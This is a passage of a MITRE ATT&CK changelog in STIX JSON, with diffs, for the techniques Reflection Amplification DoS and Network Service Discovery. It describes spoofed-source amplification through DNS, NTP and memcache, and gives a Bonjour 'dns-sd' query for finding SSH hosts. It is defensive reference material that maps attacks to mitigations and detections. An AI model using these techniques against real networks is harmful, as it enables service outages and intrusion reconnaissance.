                    "type": "attack-pattern",
                    "id": "attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-02 20:08:03.691000+00:00",
                    "modified": "2026-11-04 03:20:32.379000+00:00",
                    "name": "Reflection Amplification",
                    "description": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depend upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild has been documented.(Citation: Arbor AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "impact"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1498/002",
                            "external_id": "T1498.002"
                        },
                        {
                            "source_name": "Cloudflare DNSamplficationDoS",
                            "description": "Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.",
                            "url": "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/"
                        },
                        {
                            "source_name": "Cloudflare NTPamplifciationDoS",
                            "description": "Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.",
                            "url": "https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/"
                        },
                        {
                            "source_name": "Cloudflare ReflectionDoS May 2017",
                            "description": "Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.",
                            "url": "https://blog.cloudflare.com/reflections-on-reflections/"
                        },
                        {
                            "source_name": "Cloudflare Memcrashed Feb 2018",
                            "description": "Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.",
                            "url": "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/"
                        },
                        {
                            "source_name": "Arbor AnnualDoSreport Jan 2018",
                            "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
                            "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_impact_type": [
                        "Availability"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows",
                        "IaaS",
                        "Linux",
                        "macOS"
                    ],
                    "x_mitre_version": "1.4",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:20:32.379000+00:00\", \"old_value\": \"2025-10-24 17:48:38.890000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\\n\\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depend upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild has been documented.(Citation: Arbor AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)\", \"old_value\": \"Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\\n\\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\\n \\n-Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)\\n+Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depend upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild has been documented.(Citation: Arbor AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"Cisco DoSdetectNetflow\", \"description\": \"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.\", \"url\": \"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf\"}}}",
                    "previous_version": "1.4",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to119__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to119__0\"><a href=\"#difflib_chg_to119__top\">t</a></td><td class=\"diff_header\" id=\"from119_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;cause&nbsp;a&nbsp;denial&nbsp;of&nbsp;service&nbsp;(DoS)&nbsp;b</td><td class=\"diff_next\"><a href=\"#difflib_chg_to119__top\">t</a></td><td class=\"diff_header\" id=\"to119_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;cause&nbsp;a&nbsp;denial&nbsp;of&nbsp;service&nbsp;(DoS)&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;reflecting&nbsp;a&nbsp;high-volume&nbsp;of&nbsp;network&nbsp;traffic&nbsp;to&nbsp;a&nbsp;target.&nbsp;T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;reflecting&nbsp;a&nbsp;high-volume&nbsp;of&nbsp;network&nbsp;traffic&nbsp;to&nbsp;a&nbsp;target.&nbsp;T</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">his&nbsp;type&nbsp;of&nbsp;Network&nbsp;DoS&nbsp;takes&nbsp;advantage&nbsp;of&nbsp;a&nbsp;third-party&nbsp;ser</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">his&nbsp;type&nbsp;of&nbsp;Network&nbsp;DoS&nbsp;takes&nbsp;advantage&nbsp;of&nbsp;a&nbsp;third-party&nbsp;ser</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ver&nbsp;intermediary&nbsp;that&nbsp;hosts&nbsp;and&nbsp;will&nbsp;respond&nbsp;to&nbsp;a&nbsp;given&nbsp;spoo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ver&nbsp;intermediary&nbsp;that&nbsp;hosts&nbsp;and&nbsp;will&nbsp;respond&nbsp;to&nbsp;a&nbsp;given&nbsp;spoo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">fed&nbsp;source&nbsp;IP&nbsp;address.&nbsp;This&nbsp;third-party&nbsp;server&nbsp;is&nbsp;commonly&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">fed&nbsp;source&nbsp;IP&nbsp;address.&nbsp;This&nbsp;third-party&nbsp;server&nbsp;is&nbsp;commonly&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ermed&nbsp;a&nbsp;reflector.&nbsp;An&nbsp;adversary&nbsp;accomplishes&nbsp;a&nbsp;reflection&nbsp;at</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ermed&nbsp;a&nbsp;reflector.&nbsp;An&nbsp;adversary&nbsp;accomplishes&nbsp;a&nbsp;reflection&nbsp;at</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack&nbsp;by&nbsp;sending&nbsp;packets&nbsp;to&nbsp;reflectors&nbsp;with&nbsp;the&nbsp;spoofed&nbsp;addre</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack&nbsp;by&nbsp;sending&nbsp;packets&nbsp;to&nbsp;reflectors&nbsp;with&nbsp;the&nbsp;spoofed&nbsp;addre</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;of&nbsp;the&nbsp;victim.&nbsp;Similar&nbsp;to&nbsp;Direct&nbsp;Network&nbsp;Floods,&nbsp;more&nbsp;tha</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;of&nbsp;the&nbsp;victim.&nbsp;Similar&nbsp;to&nbsp;Direct&nbsp;Network&nbsp;Floods,&nbsp;more&nbsp;tha</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;one&nbsp;system&nbsp;may&nbsp;be&nbsp;used&nbsp;to&nbsp;conduct&nbsp;the&nbsp;attack,&nbsp;or&nbsp;a&nbsp;botnet&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;one&nbsp;system&nbsp;may&nbsp;be&nbsp;used&nbsp;to&nbsp;conduct&nbsp;the&nbsp;attack,&nbsp;or&nbsp;a&nbsp;botnet&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;be&nbsp;used.&nbsp;Likewise,&nbsp;one&nbsp;or&nbsp;more&nbsp;reflectors&nbsp;may&nbsp;be&nbsp;used&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;be&nbsp;used.&nbsp;Likewise,&nbsp;one&nbsp;or&nbsp;more&nbsp;reflectors&nbsp;may&nbsp;be&nbsp;used&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;focus&nbsp;traffic&nbsp;on&nbsp;the&nbsp;target.(Citation:&nbsp;Cloudflare&nbsp;Reflectio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;focus&nbsp;traffic&nbsp;on&nbsp;the&nbsp;target.(Citation:&nbsp;Cloudflare&nbsp;Reflectio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nDoS&nbsp;May&nbsp;2017)&nbsp;This&nbsp;Network&nbsp;DoS&nbsp;attack&nbsp;may&nbsp;also&nbsp;reduce&nbsp;the&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nDoS&nbsp;May&nbsp;2017)&nbsp;This&nbsp;Network&nbsp;DoS&nbsp;attack&nbsp;may&nbsp;also&nbsp;reduce&nbsp;the&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vailability&nbsp;and&nbsp;functionality&nbsp;of&nbsp;the&nbsp;targeted&nbsp;system(s)&nbsp;and&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vailability&nbsp;and&nbsp;functionality&nbsp;of&nbsp;the&nbsp;targeted&nbsp;system(s)&nbsp;and&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">network.&nbsp;&nbsp;Reflection&nbsp;attacks&nbsp;often&nbsp;take&nbsp;advantage&nbsp;of&nbsp;protoco</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">network.&nbsp;&nbsp;Reflection&nbsp;attacks&nbsp;often&nbsp;take&nbsp;advantage&nbsp;of&nbsp;protoco</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ls&nbsp;with&nbsp;larger&nbsp;responses&nbsp;than&nbsp;requests&nbsp;in&nbsp;order&nbsp;to&nbsp;amplify&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ls&nbsp;with&nbsp;larger&nbsp;responses&nbsp;than&nbsp;requests&nbsp;in&nbsp;order&nbsp;to&nbsp;amplify&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">heir&nbsp;traffic,&nbsp;commonly&nbsp;known&nbsp;as&nbsp;a&nbsp;Reflection&nbsp;Amplification&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">heir&nbsp;traffic,&nbsp;commonly&nbsp;known&nbsp;as&nbsp;a&nbsp;Reflection&nbsp;Amplification&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.&nbsp;Adversaries&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;generate&nbsp;an&nbsp;increase&nbsp;in&nbsp;vo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.&nbsp;Adversaries&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;generate&nbsp;an&nbsp;increase&nbsp;in&nbsp;vo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lume&nbsp;of&nbsp;attack&nbsp;traffic&nbsp;that&nbsp;is&nbsp;several&nbsp;orders&nbsp;of&nbsp;magnitude&nbsp;g</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lume&nbsp;of&nbsp;attack&nbsp;traffic&nbsp;that&nbsp;is&nbsp;several&nbsp;orders&nbsp;of&nbsp;magnitude&nbsp;g</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">reater&nbsp;than&nbsp;the&nbsp;requests&nbsp;sent&nbsp;to&nbsp;the&nbsp;amplifiers.&nbsp;The&nbsp;extent&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">reater&nbsp;than&nbsp;the&nbsp;requests&nbsp;sent&nbsp;to&nbsp;the&nbsp;amplifiers.&nbsp;The&nbsp;extent&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;this&nbsp;increase&nbsp;will&nbsp;depending&nbsp;<span class=\"diff_chg\">upon&nbsp;many&nbsp;variables,&nbsp;such&nbsp;as</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;this&nbsp;increase&nbsp;will&nbsp;depend<span class=\"diff_add\">&nbsp;upon&nbsp;many&nbsp;variables,&nbsp;such&nbsp;as&nbsp;th</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">&nbsp;the&nbsp;protocol&nbsp;in&nbsp;question,&nbsp;the&nbsp;technique&nbsp;used,&nbsp;and&nbsp;the&nbsp;ampli</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">e&nbsp;protocol&nbsp;in&nbsp;question,&nbsp;the&nbsp;technique&nbsp;used,&nbsp;and&nbsp;the&nbsp;amplify</span>i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">fying&nbsp;servers&nbsp;that&nbsp;actually&nbsp;produce&nbsp;the&nbsp;amplification&nbsp;in</span>&nbsp;att</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;<span class=\"diff_chg\">servers&nbsp;that&nbsp;actually&nbsp;produce&nbsp;the&nbsp;amplification&nbsp;in</span>&nbsp;attack</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack&nbsp;volume.&nbsp;Two&nbsp;prominent&nbsp;protocols&nbsp;that&nbsp;have&nbsp;enabled&nbsp;Reflec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;volume.&nbsp;Two&nbsp;prominent&nbsp;protocols&nbsp;that&nbsp;have&nbsp;enabled&nbsp;Reflectio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;Amplification&nbsp;Floods&nbsp;are&nbsp;DNS(Citation:&nbsp;Cloudflare&nbsp;DNSam</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;Amplification&nbsp;Floods&nbsp;are&nbsp;DNS(Citation:&nbsp;Cloudflare&nbsp;DNSamplf</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">plficationDoS)&nbsp;and&nbsp;NTP(Citation:&nbsp;Cloudflare&nbsp;NTPamplifciation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icationDoS)&nbsp;and&nbsp;NTP(Citation:&nbsp;Cloudflare&nbsp;NTPamplifciationDoS</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">DoS),&nbsp;though&nbsp;the&nbsp;use&nbsp;of&nbsp;several&nbsp;others&nbsp;in&nbsp;the&nbsp;wild&nbsp;ha<span class=\"diff_chg\">ve</span>&nbsp;been</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">),&nbsp;though&nbsp;the&nbsp;use&nbsp;of&nbsp;several&nbsp;others&nbsp;in&nbsp;the&nbsp;wild&nbsp;ha<span class=\"diff_chg\">s</span>&nbsp;been&nbsp;doc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;documented.(Citation:&nbsp;Arbor&nbsp;AnnualDoSreport&nbsp;Jan&nbsp;2018)&nbsp;&nbsp;In&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">umented.(Citation:&nbsp;Arbor&nbsp;AnnualDoSreport&nbsp;Jan&nbsp;2018)&nbsp;&nbsp;In&nbsp;parti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">articular,&nbsp;the&nbsp;memcache&nbsp;protocol&nbsp;showed&nbsp;itself&nbsp;to&nbsp;be&nbsp;a&nbsp;power</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cular,&nbsp;the&nbsp;memcache&nbsp;protocol&nbsp;showed&nbsp;itself&nbsp;to&nbsp;be&nbsp;a&nbsp;powerful&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ful&nbsp;protocol,&nbsp;with&nbsp;amplification&nbsp;sizes&nbsp;up&nbsp;to&nbsp;51,200&nbsp;times&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">protocol,&nbsp;with&nbsp;amplification&nbsp;sizes&nbsp;up&nbsp;to&nbsp;51,200&nbsp;times&nbsp;the&nbsp;re</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;requesting&nbsp;packet.(Citation:&nbsp;Cloudflare&nbsp;Memcrashed&nbsp;Feb&nbsp;201</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">questing&nbsp;packet.(Citation:&nbsp;Cloudflare&nbsp;Memcrashed&nbsp;Feb&nbsp;2018)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">8)</td><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1037: Filter Network Traffic"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0408: Detection Strategy for Reflection Amplification DoS (T1498.002)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2017-05-31 21:30:43.915000+00:00",
                    "modified": "2026-11-03 21:48:02.694000+00:00",
                    "name": "Network Service Discovery",
                    "description": "Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)   \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to an on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "discovery"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1046",
                            "external_id": "T1046"
                        },
                        {
                            "source_name": "apple doco bonjour description",
                            "description": "Apple Inc. (2013, April 23). Bonjour Overview. Retrieved October 11, 2021.",
                            "url": "https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html"
                        },
                        {
                            "source_name": "CISA AR21-126A FIVEHANDS May 2021",
                            "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.",
                            "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"
                        },
                        {
                            "source_name": "macOS APT Activity Bradley",
                            "description": "Jaron Bradley. (2021, November 14). What does APT Activity Look Like on macOS?. Retrieved January 19, 2022.",
                            "url": "https://themittenmac.com/what-does-apt-activity-look-like-on-macos/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Praetorian",
                        "Aaron Sullivan aka ZerkerEOD"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Containers",
                        "IaaS",
                        "Linux",
                        "macOS",
                        "Network Devices",
                        "Windows"
                    ],
                    "x_mitre_version": "3.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:48:02.694000+00:00\", \"old_value\": \"2026-05-12 15:12:00.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)   \\n\\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to an on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\\n\\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)\", \"old_value\": \"Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)   \\n\\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems 